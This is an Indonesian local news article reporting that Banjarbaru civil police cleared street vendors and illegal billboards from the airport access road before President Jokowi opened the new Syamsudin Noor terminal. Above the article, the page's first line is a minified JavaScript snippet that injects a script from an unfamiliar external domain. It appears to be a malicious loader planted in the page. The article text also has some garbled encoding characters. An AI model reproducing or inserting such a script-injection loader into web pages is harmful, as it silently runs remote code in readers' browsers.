(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sterilisasi Akses Jalan, PKL Ditertibkan Jelang Kedatangan Jokowi Resmikan Bandara Syamsudin Noor

BANJARBARU, Kabar kedatangan Presiden Republik Indonesia, Joko Widodo ke Kalimatan Selatan (Kalsel) untuk meresmikan terminal baru Bandara Internasional Syamsudin Noor, Rabu (18/12) besok, telah dibenarkan sejumlah pihak.

Tak ayal, sejumlah persiapan pun harus dilakukan untuk menyambut kedatangan orang nomor satu di Indonesia tersebut. Salah satunya, yakni mensterilkan kawasan jalan menuju Bandara yang sampai saat ini dijamuri oleh para Pedagang Kaki Lima (PKL).

Memang sejak operasional terminal baru Bandara yang dijuluki Jewel of Borneo tersebut, pada tanggal 10 Desember kemarin, bahu jalan akses masuk ke Bandara langsung diserbu para PKL. Beberapa diantara mereka menjual makanan dan minuman di bibir jalan akses masuk bandara.

Walhasil, beberapa warga sekitar maupun pengunjung Bandara pun banyak yang singgah di bahu jalan. Tentunya aktivitas dagang ini pun harus segera ditertibkan, mengingat akses jalan Presiden harus steril dari hambatan apapun.

Untuk itu, Kanalkalimantan.com mengkonfirmasi kepada Satuan Polisi Pamong Praja (Satpol PP) Banjarbaru terkait tindak lanjut aktivitas para PKL ini. PPNS Seksi Opsdal Satpol PP Banjarbaru, Yanto Hidayat, mengatakan bahwa pihaknya telah melakukan giat penertiban sore tadi, dengan turut melibatkan Dinas Perdagangan dan Dinas Perhubungan.

“Benar, sore tadi kitaÃƒâ€šÃ‚Â melakukan penertiban para PKL yang ngotot berjualan di bahu jalan akses masuk ke Bandara. Kita juga turut meminta pihak kelurahan mensterilisasi PKL di sekitaran Bandara,” katanya.

Dari hasil giat tadi, Yanto mengatakan bahwa para pedagang hanya diberikan teguran dan diarahkan untuk memindahkan lapak dagangan mereka ke daerah yang semestinya.

“Kita juga menertibkan para pedagang buah musiman dan reklame di Jalan PM Noor yang terpasang menyalahi aturan. Alhamdulillah, hingga sore tadi sudah rampung dan steril, begitupun dengan besok,” lanjutnya.

Selain melanggar Peratuan Daerah (Perda), Yanto sendiri mengakui jika giat ini tidak terlepas dari moment kedatangan Presiden RI, Rabu besok. Menurutnya, memang sudah seharusnya para PKL ditertibkan, karena dikhawatirkan akan membuat kemacetan di jalan masuk Bandara.

“Memang kabar kedatangan bapak Presiden sudah saya dengar. Makanya, kita langsung sterilkan jalan ini. Ini memang tanggung jawab Pemko Banjarbaru, bukan pihak Bandara,” tungkasnya.

Sebelumnya, kedatangan Presiden Jokowi untuk meresmikan terminal baru Bandara Internasional Syamsudin Noor telah dibenarkan Kabid Humas Polda Kalsel Kombes Moch Rifai. Pengamanan Presiden, juga telah dipersiapkan dengan digelarnya apel gabungan di Lanud Sjamsudin Noor, Selasa (17/12) siang.

Di sisi lain, Project Manager Pengembangan Bandara Syamsudin Noor (PPBDJ), Dadang Dian Hendiana mengaku belum mengetahui adanya sambutan khusus Presiden di Bandara. Namun, ia memastikan jika proyek pengembangan bandara sudah rampung 100 persen. Termasuk dalam rangka rencana kedatangan Presiden tersebut. “Sudah selesai. Untuk perbaikannya juga sudah ditindaklanjuti semua,” katanya. (Rico/Fikri)

Reporter : fikri/rico
Editor : Chell